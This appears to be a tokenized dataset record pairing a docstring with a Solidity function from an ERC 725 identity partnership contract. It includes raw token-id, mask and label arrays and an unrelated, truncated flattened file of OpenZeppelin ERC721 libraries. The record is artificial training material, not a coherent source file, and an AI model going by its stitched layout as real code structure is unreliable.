// We can only request partnership with a contract
// if he's not already Known or Removed in our registry.
// If he is, we symetrically are already in his partnerships.
// Indeed when he asked a partnership with us,
// he added us in authorized partnerships.
require(
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Unknown ||
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Removed
);
// Request partnership in the other contract.
// Open interface on his contract.
PartnershipInterface hisInterface = PartnershipInterface(_hisContract);
bool success = hisInterface._requestPartnership(_ourSymetricKey);
// If partnership request was a success,
if (success) {
// If we do not know the Partnership contract yet,
if (partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Unknown) {
// Then add it to our partnerships index.
knownPartnershipContracts.push(_hisContract);
}
// Authorize Partnership contract in our contract.
partnershipContracts[_hisContract].authorization = PartnershipAuthorization.Authorized;
// Record date of partnership creation.
partnershipContracts[_hisContract].created = uint40(now);
// Give the Partnership contrat's owner an ERC 725 "Claim" key.
addKey(keccak256(abi.encodePacked(foundation.contractsToOwners(_hisContract))), 3, 1);
// Give the Partnership contract an ERC 725 "Claim" key.
addKey(keccak256(abi.encodePacked(_hisContract)), 3, 1);
// Increment our number of partnerships.
partnershipsNumber = partnershipsNumber.add(1);
}
}
/**
* @dev Symetry of requestPartnership.
* Called by Partnership contract wanting to partnership.
* He sends us his symetric encryption key as well,
* encrypted on our symetric encryption public key.
* So we can decipher all his content.
*/
function _requestPartnership(bytes _hisSymetricKey)
external
returns (bool success)
{
require(
partnershipContracts[msg.sender].authorization == PartnershipAuthorization.Unknown ||
partnershipContracts[msg.sender].authorization == PartnershipAuthorization.Removed
);
// If this Partnership contract is Unknown,
if (partnershipContracts[msg.sender].authorization == PartnershipAuthorization.Unknown) {
// Add the new partnership to our partnerships index.
knownPartnershipContracts.push(msg.sender);
// Record date of partnership creation.
partnershipContracts[msg.sender].created = uint40(now);
}
// Write Pending to our partnerships contract registry.
partnershipContracts[msg.sender].authorization = PartnershipAuthorization.Pending;
// Record his symetric encryption key,
// encrypted on our asymetric encryption public key.
partnershipContracts[msg.sender].symetricEncryptionEncryptedKey = _hisSymetricKey;
// Event for this contrat owner's UI.
emit PartnershipRequested();
// Return success.
success = true;
}
/**
* @dev Authorize Partnership.
* Before submitting this TX, we must have encrypted our
* symetric encryption key on his asymetric encryption public key.
*/
function authorizePartnership(address _hisContract, bytes _ourSymetricKey)
external
onlyIdentityPurpose(1)
{
require(
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Pending,
"Partnership must be Pending"
);
// Authorize the Partnership contract in our contract.
partnershipContracts[_hisContract].authorization = PartnershipAuthorization.Authorized;
// Record the date of partnership creation.
partnershipContracts[_hisContract].created = uint40(now);
// Give the Partnership contrat's owner an ERC 725 "Claim" key.
addKey(keccak256(abi.encodePacked(foundation.contractsToOwners(_hisContract))), 3, 1);
// Give the Partnership contract an ERC 725 "Claim" key.
addKey(keccak256(abi.encodePacked(_hisContract)), 3, 1);
// Increment our number of partnerships.
partnershipsNumber = partnershipsNumber.add(1);
// Log an event in the new authorized partner contract.
PartnershipInterface hisInterface = PartnershipInterface(_hisContract);
hisInterface._authorizePartnership(_ourSymetricKey);
}
/**
* @dev Allows other Partnership contract to send an event when authorizing.
* He sends us also his symetric encryption key,
* encrypted on our asymetric encryption public key.
*/
function _authorizePartnership(bytes _hisSymetricKey) external {
require(
partnershipContracts[msg.sender].authorization == PartnershipAuthorization.Authorized,
"You have no authorized partnership"
);
partnershipContracts[msg.sender].symetricEncryptionEncryptedKey = _hisSymetricKey;
emit PartnershipAccepted();
}
/**
* @dev Reject Partnership.
*/
function rejectPartnership(address _hisContract)
external
onlyIdentityPurpose(1)
{
require(
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Pending,
"Partner must be Pending"
);
partnershipContracts[_hisContract].authorization = PartnershipAuthorization.Rejected;
}
/**
* @dev Remove Partnership.
*/
function removePartnership(address _hisContract)
external
onlyIdentityPurpose(1)
{
require(
(
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Authorized ||
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Rejected
),
"Partnership must be Authorized or Rejected"
);
// Remove ourselves in the other Partnership contract.
PartnershipInterface hisInterface = PartnershipInterface(_hisContract);
bool success = hisInterface._removePartnership();
// If success,
if (success) {
// If it was an authorized partnership,
if (partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Authorized) {
// Remove the partnership creation date.
delete partnershipContracts[_hisContract].created;
// Remove his symetric encryption key.
delete partnershipContracts[_hisContract].symetricEncryptionEncryptedKey;
// Decrement our number of partnerships.
partnershipsNumber = partnershipsNumber.sub(1);
}
// If there is one, remove ERC 725 "Claim" key for Partnership contract owner.
if (keyHasPurpose(keccak256(abi.encodePacked(foundation.contractsToOwners(_hisContract))), 3)) {
removeKey(keccak256(abi.encodePacked(foundation.contractsToOwners(_hisContract))), 3);
}
// If there is one, remove ERC 725 "Claim" key for Partnership contract.
if (keyHasPurpose(keccak256(abi.encodePacked(_hisContract)), 3)) {
removeKey(keccak256(abi.encodePacked(_hisContract)), 3);
}
// Change his partnership to Removed in our contract.
// We want to have Removed instead of resetting to Unknown,
// otherwise if partnership is initiated again with him,
// our knownPartnershipContracts would have a duplicate entry.
partnershipContracts[_hisContract].authorization = PartnershipAuthorization.Removed;
}
}
/**
* @dev Symetry of removePartnership.
* Called by the Partnership contract breaking partnership with us.
*/
function _removePartnership() external returns (bool success) {
// He wants to break partnership with us, so we break too.
// If it was an authorized partnership,
if (partnershipContracts[msg.sender].authorization == PartnershipAuthorization.Authorized) {
// Remove date of partnership creation.
delete partnershipContracts[msg.sender].created;
// Remove his symetric encryption key.
delete partnershipContracts[msg.sender].symetricEncryptionEncryptedKey;
// Decrement our number of partnerships.
partnershipsNumber = partnershipsNumber.sub(1);
}
// Would have liked to remove ERC 725 "Claim" keys here.
// Unfortunately we can not automate this. Indeed it would require
// the Partnership contract to have an ERC 725 Management key.
// Remove his authorization.
partnershipContracts[msg.sender].authorization = PartnershipAuthorization.Removed;
// We return to the calling contract that it's done.
success = true;
}
/**
* @dev Internal function to remove partnerships before selfdestruct.
*/
function cleanupPartnership() internal returns (bool success) {
// For each known Partnership contract
for (uint i = 0; i < knownPartnershipContracts.length; i++) {
// If it was an authorized partnership,
if (partnershipContracts[knownPartnershipContracts[i]].authorization == PartnershipAuthorization.Authorized) {
// Remove ourselves in the other Partnership contract.
PartnershipInterface hisInterface = PartnershipInterface(knownPartnershipContracts[i]);
hisInterface._removePartnership();
}
}
success = true;
}
}
/**
* @title Interface with clones, inherited contracts or services.
*/
interface PartnershipInterface {
function _requestPartnership(bytes) external view returns (bool);
function _authorizePartnership(bytes) external;
function _removePartnership() external returns (bool success);
function getKnownPartnershipsContracts() external returns (address[]);
function getPartnership(address)
external
returns (uint, uint, uint40, bytes, bytes);
}
|
* @dev Authorize Partnership. Before submitting this TX, we must have encrypted our symetric encryption key on his asymetric encryption public key./ Authorize the Partnership contract in our contract. Record the date of partnership creation. Give the Partnership contrat's owner an ERC 725 "Claim" key. Give the Partnership contract an ERC 725 "Claim" key. Increment our number of partnerships. Log an event in the new authorized partner contract.
|
function authorizePartnership(address _hisContract, bytes _ourSymetricKey)
external
onlyIdentityPurpose(1)
{
require(
partnershipContracts[_hisContract].authorization == PartnershipAuthorization.Pending,
"Partnership must be Pending"
);
partnershipContracts[_hisContract].authorization = PartnershipAuthorization.Authorized;
partnershipContracts[_hisContract].created = uint40(now);
addKey(keccak256(abi.encodePacked(foundation.contractsToOwners(_hisContract))), 3, 1);
addKey(keccak256(abi.encodePacked(_hisContract)), 3, 1);
partnershipsNumber = partnershipsNumber.add(1);
PartnershipInterface hisInterface = PartnershipInterface(_hisContract);
hisInterface._authorizePartnership(_ourSymetricKey);
}
| 1,798,884 |
[
1,
18987,
6393,
9646,
5310,
18,
11672,
4879,
1787,
333,
23211,
16,
732,
1297,
1240,
6901,
3134,
5382,
1591,
8731,
498,
603,
18423,
26202,
1591,
8731,
1071,
498,
18,
19,
23859,
326,
6393,
9646,
5310,
6835,
316,
3134,
6835,
18,
5059,
326,
1509,
434,
1087,
9646,
5310,
6710,
18,
22374,
326,
6393,
9646,
5310,
16252,
270,
1807,
3410,
392,
4232,
39,
2371,
2947,
315,
9762,
6,
498,
18,
22374,
326,
6393,
9646,
5310,
6835,
392,
4232,
39,
2371,
2947,
315,
9762,
6,
498,
18,
17883,
3134,
1300,
434,
1087,
9646,
5310,
87,
18,
1827,
392,
871,
316,
326,
394,
10799,
19170,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
12229,
1988,
9646,
5310,
12,
2867,
389,
76,
291,
8924,
16,
1731,
389,
477,
11901,
1591,
653,
13,
203,
3639,
3903,
203,
3639,
1338,
4334,
10262,
4150,
12,
21,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
1087,
9646,
5310,
20723,
63,
67,
76,
291,
8924,
8009,
12218,
422,
6393,
9646,
5310,
6063,
18,
8579,
16,
203,
5411,
315,
1988,
9646,
5310,
1297,
506,
16034,
6,
203,
3639,
11272,
203,
3639,
1087,
9646,
5310,
20723,
63,
67,
76,
291,
8924,
8009,
12218,
273,
6393,
9646,
5310,
6063,
18,
15341,
31,
203,
3639,
1087,
9646,
5310,
20723,
63,
67,
76,
291,
8924,
8009,
4824,
273,
2254,
7132,
12,
3338,
1769,
203,
3639,
24819,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
30493,
18,
16351,
11634,
5460,
414,
24899,
76,
291,
8924,
3719,
3631,
890,
16,
404,
1769,
203,
3639,
24819,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
24899,
76,
291,
8924,
13,
3631,
890,
16,
404,
1769,
203,
3639,
1087,
9646,
5310,
87,
1854,
273,
1087,
9646,
5310,
87,
1854,
18,
1289,
12,
21,
1769,
203,
3639,
6393,
9646,
5310,
1358,
18423,
1358,
273,
6393,
9646,
5310,
1358,
24899,
76,
291,
8924,
1769,
203,
3639,
18423,
1358,
6315,
22488,
1988,
9646,
5310,
24899,
477,
11901,
1591,
653,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2019-12-19
*/
// hevm: flattened sources of src/Redeemer.sol
pragma solidity =0.5.11 >0.4.13 >0.4.20 >=0.4.23 >=0.5.0 <0.6.0 >=0.5.5 <0.6.0 >=0.5.11 <0.6.0;
////// lib/dpass/lib/openzeppelin-contracts/src/GSN/Context.sol
/* pragma solidity ^0.5.0; */
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/math/SafeMath.sol
/* pragma solidity ^0.5.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/drafts/Counters.sol
/* pragma solidity ^0.5.0; */
/* import "../math/SafeMath.sol"; */
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/introspection/IERC165.sol
/* pragma solidity ^0.5.0; */
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
////// lib/dpass/lib/openzeppelin-contracts/src/introspection/ERC165.sol
/* pragma solidity ^0.5.0; */
/* import "./IERC165.sol"; */
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/IERC721.sol
/* pragma solidity ^0.5.0; */
/* import "../../introspection/IERC165.sol"; */
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/IERC721Receiver.sol
/* pragma solidity ^0.5.0; */
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
////// lib/dpass/lib/openzeppelin-contracts/src/utils/Address.sol
/* pragma solidity ^0.5.5; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
////// lib/dpass/lib/openzeppelin-contracts/src/token/ERC721/ERC721.sol
/* pragma solidity ^0.5.0; */
/* import "../../GSN/Context.sol"; */
/* import "./IERC721.sol"; */
/* import "./IERC721Receiver.sol"; */
/* import "../../math/SafeMath.sol"; */
/* import "../../utils/Address.sol"; */
/* import "../../drafts/Counters.sol"; */
/* import "../../introspection/ERC165.sol"; */
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
